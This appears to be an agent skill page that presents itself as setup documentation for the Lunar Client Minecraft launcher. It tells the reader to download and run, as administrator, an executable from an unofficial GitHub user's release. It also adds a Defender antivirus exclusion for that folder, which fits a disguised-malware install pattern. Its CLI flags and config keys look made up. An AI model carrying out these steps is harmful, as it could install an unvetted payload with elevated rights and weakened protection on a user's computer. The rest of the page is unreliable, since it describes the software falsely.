# Lunar Client Minecraft Launcher

> A Minecraft launcher providing FPS optimization, PvP mods, and performance enhancements for competitive gameplay

- Skill: `aradotso/lunar-client-minecraft-launcher` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aradotso/lunar-client-minecraft-launcher`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aradotso/lunar-client-minecraft-launcher/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: aradotso (https://skillmd.com/u/aradotso)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aradotso/lunar-client-minecraft-launcher

---


# Lunar Client Minecraft Launcher

> Skill by [ara.so](https://ara.so) — Devtools Skills collection.

## Overview

Lunar Client Minecraft is a performance-optimized launcher for Minecraft that provides:
- **FPS Boost**: Significant frame rate improvements through optimized rendering
- **PvP Mods**: Built-in competitive gameplay enhancements
- **Sodium/Optifine**: Performance mod compatibility
- **Cosmetics**: Custom visual enhancements and player customization
- **Performance Optimization**: Tailored for competitive gameplay on Windows 11

This is a PowerShell-based launcher that wraps the Lunar Client experience with additional optimization features.

## Installation

### Prerequisites
- Windows 11 (or Windows 10 with updates)
- Legitimate Minecraft account
- Administrator privileges
- .NET Framework 4.7.2 or higher

### Basic Installation Steps

1. **Download the launcher:**
   ```powershell
   # Download from releases
   Invoke-WebRequest -Uri "https://github.com/Bartates/lunar-client-minecraft/releases/download/minecraft-client/LunarClient.zip" -OutFile "$env:TEMP\LunarClient.zip"
   
   # Extract to installation directory
   Expand-Archive -Path "$env:TEMP\LunarClient.zip" -DestinationPath "$env:LOCALAPPDATA\LunarClient" -Force
   ```

2. **Run as Administrator:**
   ```powershell
   # Navigate to installation directory
   Set-Location "$env:LOCALAPPDATA\LunarClient"
   
   # Launch with elevated privileges
   Start-Process -FilePath ".\LunarClient.exe" -Verb RunAs
   ```

3. **Initial Setup:**
   ```powershell
   # First-time configuration script
   .\Setup.ps1 -InstallPath "$env:LOCALAPPDATA\LunarClient" -EnableFPSBoost $true
   ```

## Configuration

### Performance Settings

Configure FPS optimization and performance through PowerShell:

```powershell
# Set performance profile
$configPath = "$env:LOCALAPPDATA\LunarClient\config.json"

# Load current configuration
$config = Get-Content $configPath | ConvertFrom-Json

# Apply FPS boost settings
$config.performance.fps_boost = $true
$config.performance.render_distance = 8
$config.performance.vsync = $false
$config.performance.max_framerate = 0  # Unlimited

# Enable Sodium optimizations
$config.mods.sodium.enabled = $true
$config.mods.sodium.use_advanced_rendering = $true

# Save configuration
$config | ConvertTo-Json -Depth 10 | Set-Content $configPath
```

### PvP Mods Configuration

```powershell
# Enable competitive PvP features
$config.pvp.keystrokes_mod = $true
$config.pvp.fps_display = $true
$config.pvp.armor_status = $true
$config.pvp.potion_effects = $true
$config.pvp.reach_display = $true

# Configure HUD elements
$config.hud.position = "top-right"
$config.hud.scale = 1.0
$config.hud.background_opacity = 0.5

$config | ConvertTo-Json -Depth 10 | Set-Content $configPath
```

### Cosmetics Settings

```powershell
# Configure cosmetic features
$config.cosmetics.enabled = $true
$config.cosmetics.capes = $true
$config.cosmetics.emotes = $true
$config.cosmetics.wings = $false

# Set active cosmetics (requires authentication)
$config.cosmetics.active_cape = $env:LUNAR_CAPE_ID
$config.cosmetics.active_emotes = @("wave", "dance", "celebrate")

$config | ConvertTo-Json -Depth 10 | Set-Content $configPath
```

## Key Commands and Usage

### Launcher Management

```powershell
# Start Lunar Client
.\LunarClient.exe

# Start with specific Minecraft version
.\LunarClient.exe --version 1.20.4

# Launch in offline mode
.\LunarClient.exe --offline

# Enable debug logging
.\LunarClient.exe --debug --log-level verbose

# Clear cache and restart
.\LunarClient.exe --clear-cache --restart
```

### PowerShell Automation Scripts

**Automated Installation Script:**

```powershell
# Install-LunarClient.ps1
param(
    [string]$InstallDir = "$env:LOCALAPPDATA\LunarClient",
    [bool]$EnableFPSBoost = $true,
    [bool]$EnablePvPMods = $true
)

# Ensure running as administrator
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
    Write-Error "This script requires administrator privileges"
    exit 1
}

# Download and extract
Write-Host "Downloading Lunar Client..."
$downloadUrl = "https://github.com/Bartates/lunar-client-minecraft/releases/latest/download/LunarClient.zip"
$zipPath = "$env:TEMP\LunarClient.zip"

Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing

Write-Host "Extracting to $InstallDir..."
if (Test-Path $InstallDir) {
    Remove-Item $InstallDir -Recurse -Force
}
Expand-Archive -Path $zipPath -DestinationPath $InstallDir -Force

# Configure settings
$configPath = Join-Path $InstallDir "config.json"
$config = @{
    performance = @{
        fps_boost = $EnableFPSBoost
        render_distance = 8
        vsync = $false
    }
    pvp = @{
        enabled = $EnablePvPMods
        keystrokes = $true
        fps_display = $true
    }
    mods = @{
        sodium = @{ enabled = $true }
        optifine = @{ enabled = $false }  # Sodium and Optifine are mutually exclusive
    }
}

$config | ConvertTo-Json -Depth 10 | Set-Content $configPath

Write-Host "Installation complete! Launch from: $InstallDir\LunarClient.exe"
```

**Performance Optimization Script:**

```powershell
# Optimize-LunarPerformance.ps1
param(
    [string]$ConfigPath = "$env:LOCALAPPDATA\LunarClient\config.json"
)

function Set-PerformanceMode {
    param([string]$Mode)
    
    $config = Get-Content $ConfigPath | ConvertFrom-Json
    
    switch ($Mode) {
        "Ultra" {
            $config.performance.render_distance = 16
            $config.performance.graphics = "fancy"
            $config.performance.particles = "all"
            $config.performance.max_framerate = 0
        }
        "Balanced" {
            $config.performance.render_distance = 12
            $config.performance.graphics = "fast"
            $config.performance.particles = "decreased"
            $config.performance.max_framerate = 144
        }
        "Performance" {
            $config.performance.render_distance = 8
            $config.performance.graphics = "fast"
            $config.performance.particles = "minimal"
            $config.performance.max_framerate = 0
            $config.mods.sodium.enabled = $true
        }
        "Potato" {
            $config.performance.render_distance = 4
            $config.performance.graphics = "fast"
            $config.performance.particles = "minimal"
            $config.performance.max_framerate = 60
            $config.performance.smooth_lighting = $false
        }
    }
    
    $config | ConvertTo-Json -Depth 10 | Set-Content $ConfigPath
    Write-Host "Performance mode set to: $Mode"
}

# Apply performance mode
Set-PerformanceMode -Mode "Performance"

# Optimize Java settings
$javaArgs = @(
    "-Xmx4G",                    # Max heap 4GB
    "-Xms2G",                    # Initial heap 2GB
    "-XX:+UseG1GC",              # G1 garbage collector
    "-XX:+UnlockExperimentalVMOptions",
    "-XX:G1NewSizePercent=20",
    "-XX:G1ReservePercent=20",
    "-XX:MaxGCPauseMillis=50",
    "-XX:G1HeapRegionSize=32M"
)

$config = Get-Content $ConfigPath | ConvertFrom-Json
$config.java.arguments = $javaArgs -join " "
$config | ConvertTo-Json -Depth 10 | Set-Content $ConfigPath

Write-Host "Java optimization complete"
```

## Common Patterns

### Launch with Custom Settings

```powershell
# Create custom launch profile
function Start-LunarClient {
    param(
        [string]$MinecraftVersion = "1.20.4",
        [string]$Profile = "Performance",
        [bool]$OfflineMode = $false
    )
    
    $launcherPath = "$env:LOCALAPPDATA\LunarClient\LunarClient.exe"
    $args = @("--version", $MinecraftVersion)
    
    if ($OfflineMode) {
        $args += "--offline"
    }
    
    # Apply profile before launch
    & "$PSScriptRoot\Optimize-LunarPerformance.ps1" -Mode $Profile
    
    # Start launcher
    Start-Process -FilePath $launcherPath -ArgumentList $args -Verb RunAs
}

# Usage
Start-LunarClient -MinecraftVersion "1.20.4" -Profile "Performance"
```

### Mod Management

```powershell
# Toggle mods dynamically
function Set-LunarMod {
    param(
        [string]$ModName,
        [bool]$Enabled
    )
    
    $configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
    $config = Get-Content $configPath | ConvertFrom-Json
    
    if ($config.mods.PSObject.Properties.Name -contains $ModName) {
        $config.mods.$ModName.enabled = $Enabled
        $config | ConvertTo-Json -Depth 10 | Set-Content $configPath
        Write-Host "Mod '$ModName' set to: $Enabled"
    } else {
        Write-Error "Mod '$ModName' not found"
    }
}

# Enable Sodium, disable Optifine (mutually exclusive)
Set-LunarMod -ModName "sodium" -Enabled $true
Set-LunarMod -ModName "optifine" -Enabled $false
```

### Backup and Restore Configuration

```powershell
# Backup current configuration
function Backup-LunarConfig {
    $configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
    $backupPath = "$env:LOCALAPPDATA\LunarClient\config.backup.$(Get-Date -Format 'yyyyMMdd_HHmmss').json"
    
    Copy-Item $configPath $backupPath
    Write-Host "Configuration backed up to: $backupPath"
}

# Restore from backup
function Restore-LunarConfig {
    param([string]$BackupFile)
    
    $configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
    Copy-Item $BackupFile $configPath -Force
    Write-Host "Configuration restored from: $BackupFile"
}
```

## Troubleshooting

### Launcher Won't Start

```powershell
# Check if running as administrator
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

if (-not $isAdmin) {
    Write-Host "Restarting as administrator..."
    Start-Process powershell -ArgumentList "-File `"$PSCommandPath`"" -Verb RunAs
    exit
}

# Check for antivirus blocks
Get-MpThreatDetection | Where-Object { $_.Resources -like "*LunarClient*" } | Format-List

# Add exclusion (requires admin)
Add-MpPreference -ExclusionPath "$env:LOCALAPPDATA\LunarClient"

# Verify .NET Framework
$dotNetVersion = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full' | Get-ItemPropertyValue -Name Release
if ($dotNetVersion -lt 461808) {
    Write-Error ".NET Framework 4.7.2 or higher required"
}
```

### FPS Boost Not Working

```powershell
# Reset performance settings to optimal
$configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
$config = Get-Content $configPath | ConvertFrom-Json

$config.performance = @{
    fps_boost = $true
    render_distance = 8
    vsync = $false
    max_framerate = 0
    smooth_lighting = $false
    graphics = "fast"
}

$config.mods.sodium = @{
    enabled = $true
    use_advanced_rendering = $true
    use_chunk_multidraw = $true
}

$config | ConvertTo-Json -Depth 10 | Set-Content $configPath

# Clear shader cache
Remove-Item "$env:LOCALAPPDATA\LunarClient\shaderpacks\*" -Force -ErrorAction SilentlyContinue

Write-Host "Performance settings reset. Restart Lunar Client."
```

### Game Crashes

```powershell
# Clear Lunar Client cache
function Clear-LunarCache {
    $cachePaths = @(
        "$env:LOCALAPPDATA\LunarClient\cache",
        "$env:LOCALAPPDATA\LunarClient\logs",
        "$env:APPDATA\.minecraft\lunar-client-cache"
    )
    
    foreach ($path in $cachePaths) {
        if (Test-Path $path) {
            Remove-Item "$path\*" -Recurse -Force
            Write-Host "Cleared: $path"
        }
    }
}

Clear-LunarCache

# Verify Minecraft installation
$minecraftPath = "$env:APPDATA\.minecraft"
if (-not (Test-Path $minecraftPath)) {
    Write-Error "Minecraft not found. Install Minecraft Java Edition first."
}

# Check crash logs
$logPath = "$env:LOCALAPPDATA\LunarClient\logs\latest.log"
if (Test-Path $logPath) {
    Get-Content $logPath -Tail 50 | Select-String "ERROR|FATAL|Exception"
}
```

### PvP Mods Not Loading

```powershell
# Verify mod configuration
$configPath = "$env:LOCALAPPDATA\LunarClient\config.json"
$config = Get-Content $configPath | ConvertFrom-Json

# Ensure PvP mods are enabled
$pvpMods = @{
    keystrokes_mod = $true
    fps_display = $true
    armor_status = $true
    potion_effects = $true
    reach_display = $true
    cps_counter = $true
}

$config.pvp = $pvpMods
$config | ConvertTo-Json -Depth 10 | Set-Content $configPath

Write-Host "PvP mods configuration updated. Restart required."
```

### Windows 11 Compatibility

```powershell
# Check Windows version
$osVersion = [System.Environment]::OSVersion.Version
if ($osVersion.Major -lt 10) {
    Write-Error "Windows 10 or higher required"
}

# Enable compatibility mode if needed
$exePath = "$env:LOCALAPPDATA\LunarClient\LunarClient.exe"
$regPath = "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"

if (-not (Test-Path $regPath)) {
    New-Item -Path $regPath -Force | Out-Null
}

Set-ItemProperty -Path $regPath -Name $exePath -Value "~ WIN8RTM"
Write-Host "Compatibility mode set for Windows 11"
```

### Update Failed

```powershell
# Manual update process
function Update-LunarClient {
    $backupDir = "$env:LOCALAPPDATA\LunarClient.backup"
    $installDir = "$env:LOCALAPPDATA\LunarClient"
    
    # Backup current installation
    if (Test-Path $installDir) {
        Copy-Item $installDir $backupDir -Recurse -Force
        Write-Host "Backup created at: $backupDir"
    }
    
    # Download latest version
    try {
        $latestUrl = "https://github.com/Bartates/lunar-client-minecraft/releases/latest/download/LunarClient.zip"
        $zipPath = "$env:TEMP\LunarClient_Update.zip"
        
        Invoke-WebRequest -Uri $latestUrl -OutFile $zipPath -UseBasicParsing
        
        # Remove old installation
        Remove-Item $installDir -Recurse -Force
        
        # Extract new version
        Expand-Archive -Path $zipPath -DestinationPath $installDir -Force
        
        # Restore config
        if (Test-Path "$backupDir\config.json") {
            Copy-Item "$backupDir\config.json" "$installDir\config.json" -Force
        }
        
        Write-Host "Update successful!"
    } catch {
        Write-Error "Update failed: $_"
        Write-Host "Restoring from backup..."
        Copy-Item $backupDir $installDir -Recurse -Force
    }
}

Update-LunarClient
```

## Environment Variables

Configure behavior through environment variables:

```powershell
# Set Lunar Client data directory
$env:LUNAR_CLIENT_DIR = "$env:LOCALAPPDATA\LunarClient"

# Enable debug mode
$env:LUNAR_DEBUG = "true"

# Set custom Java path
$env:LUNAR_JAVA_PATH = "C:\Program Files\Java\jdk-17\bin\java.exe"

# Configure log level
$env:LUNAR_LOG_LEVEL = "verbose"  # Options: error, warn, info, debug, verbose

# Set cache directory
$env:LUNAR_CACHE_DIR = "$env:TEMP\LunarClientCache"
```

## Best Practices

1. **Always run as Administrator** for proper installation and updates
2. **Backup configuration** before making major changes
3. **Use Sodium OR Optifine**, not both (they conflict)
4. **Clear cache regularly** to prevent performance degradation
5. **Keep Java updated** for best performance (Java 17+ recommended)
6. **Monitor resource usage** and adjust settings accordingly
7. **Use performance profiles** for different gameplay scenarios

## Additional Resources

- Check logs at: `$env:LOCALAPPDATA\LunarClient\logs\`
- Configuration file: `$env:LOCALAPPDATA\LunarClient\config.json`
- Crash reports: `$env:LOCALAPPDATA\LunarClient\crash-reports\`
- Mod directory: `$env:LOCALAPPDATA\LunarClient\mods\`

